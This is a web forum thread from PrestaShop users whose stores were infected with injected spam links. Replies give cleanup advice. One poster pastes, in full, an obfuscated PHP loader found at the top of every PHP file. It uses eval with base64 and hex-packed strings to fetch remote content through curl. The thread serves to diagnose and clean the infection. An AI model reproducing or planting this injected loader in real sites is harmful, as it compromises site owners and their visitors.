Jump to content

Help me - My store was infected !?


sawyer_sp

Recommended Posts

I've been checking the code for my site and noticed some strange urls such as http://www.deuporno.com, etc. http://www.pornluz.com. My site was infected, is some sort of trojan? These links appear on the main page as well as in some of our products. Who wants to help me.

 

Thankful now

Edited by sawyer_sp (see edit history)
Link to comment
Share on other sites

the best way I ever found of getting rid of the infection...is to download the site and let my pc antivirus detect it...then I would replace those files with clean ones...

 

just don't download into your backed up site...assuming you have one...

 

also, first and most importantly...change your ftp password and get rid of any unused ftp users...

  • Like 1
Link to comment
Share on other sites

it's important to use always up to date antivirus software. And remember to download prestashop always from official website / official github page.

 

In this case you can only delete links manually, or reupload new and not changed files to ftp server

Link to comment
Share on other sites

It took me 15 days to clean my sites. elpatron is right. Download your site to a secure directory on your computer. Scan the folder with an antivirus. All the files that come up infected, replace them with clean ones. Both prestashop and template files.

 

But before you upload your site assuming it is clean do this: Download Sublime Text editor and search in ALL your files for these sites. For example your ur was ***porno.co*. (I won't write it full). Go search your files for these URLs.

 

There is a 99% change that you will find more files with hidden iframes etc. Replace them too. Change FTP password and upload.

It will take 48hours to see if it is ok or if it will be hacked again. (Thats what happened to me).

 

Good luck.

Link to comment
Share on other sites

  • 3 weeks later...

Every PHP files in my Prestashop root folder have this strange PHP snippet on top:

<?php /*versio:2.11*/$QQQOQ=0;$GLOBALS['Q00Q'] = '2Y3VybA@7X2luaXQ}4YWxsb3dfdXJsX2ZvcGVu7$2MQ()X3NldG9wdA*;X2V4ZWM{;XwceY2xvc2U05*@#PGltZyBzcmM9Ig@c0IiB3aWR0aD0iMXB4IiBoZWlnaHQ9IjFweCIgLz401}dw11_b3Nvbi5pbg*)a3RpcHAuY2g*c2lsYmVyLmRl%9aWV8)f0Og{ZGlzcGxheV9lcnJvcnMeZGV0ZXJtaW5hdG9y((5ZnRw2_0.%Mi4xMQ3SWtjMnhUdjVBeTB3M2Q^,YmFzZTY0X2VuY29kZQ8YmFzZTY0X2RlY29kZQd0$aHR0cDovLw.,6SFRUUF9IT1NU*6&SFRUUF9VU0VSX0FHRU5U..1dW5pb244c2VsZWN0feUkVRVUVTVF9VUkk413U0NSSVBUX05BTUU4._UVVFUllfU1RSSU5HPw$}0d00L3RtcC8!$5L3RtcA.2VE1QVEVNUAcc,VE1QRElSdXBsb2FkX3RtcF9kaXI!e9.0{Lg1)3b!dmVyc2lvLQ(8LXBocA%^SFRUUF9FWEVDUEhQb3V0b2saHR0cA4*6Oi8vb.(L3BnLnBocD91PQd)Jms9*JnQ9cGhwJnA9JnY96261736536345f6465636f6465';$QQQOQ=pack('H*',substr($GLOBALS['Q00Q'], -26));if (!function_exists('Q000OQQ0')){function Q000OQQ0($QO, $Q0){$c=$GLOBALS['Q00Q']; $d=pack('H*',substr($GLOBALS['Q00Q'], -26));

return $d(substr($c, $QO, $Q0));[spam-filter];

eval($QQQOQ('aWYgKCFkZWZpbmVkKCJkZXRlcm1pbmF0b3IiKSl7IGZ1bmN0aW9uIGdldGZpbGUoJElJSWxsSSl7ICRRTzBRUVEgPSBRMDAwT1FRMCgxLCA2KTsgJFFPUU9RUSA9ICRRTzBRUVEuUTAwME9RUTAoOSwgNyk7IGlmIChAaW5pX2dldChRMDAwT1FRMCgxOCwgMjApKSA9PSBRMDAwT1FRMCg0MSwgMikpIHsgJElsSTFsbD1AZmlsZV9nZXRfY29udGVudHMoJElJSWxsSSk7IHJldHVybiBRMDAwT1FRMCg0MywgMCk7IH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJFFPUU9RUSkpeyAkSWxsMWxJID0gQCRRT1FPUVEoKTsgJEkxSWwxMSA9ICRRTzBRUVEuUTAwME9RUTAoNDUsIDEwKTsgJElsSWwxSSA9ICRRTzBRUVEuUTAwME9RUTAoNTcsIDcpOyAkSWwxSTFJID0gJFFPMFFRUS5RMDAwT1FRMCg2NiwgMikuUTAwME9RUTAoNzAsIDcpOyBAJEkxSWwxMSgkSWxsMWxJLCBDVVJMT1BUX1VSTCwgJElJSWxsSSk7IEAkSTFJbDExKCRJbGw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ElsWzBdLlEwMDBPUVEwKDU2OSwgMTQpLiRJSWxsSTEuUTAwME9RUTAoNTg1LCA0KS4kUU8wT09PLlEwMDBPUVEwKDU5MCwgMTIpLiRJMWxsbGwuUTAwME9RUTAoNjAyLCA0KS4kUVFRUU9PKTsgfSB9IH0='));?>

and AddToCart function take around 10 seconds to reload the whole page.

Anybody see this problem before or have idea?

Please help.

Edited by leemyongpakvn (see edit history)
Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
×
×
  • Create New...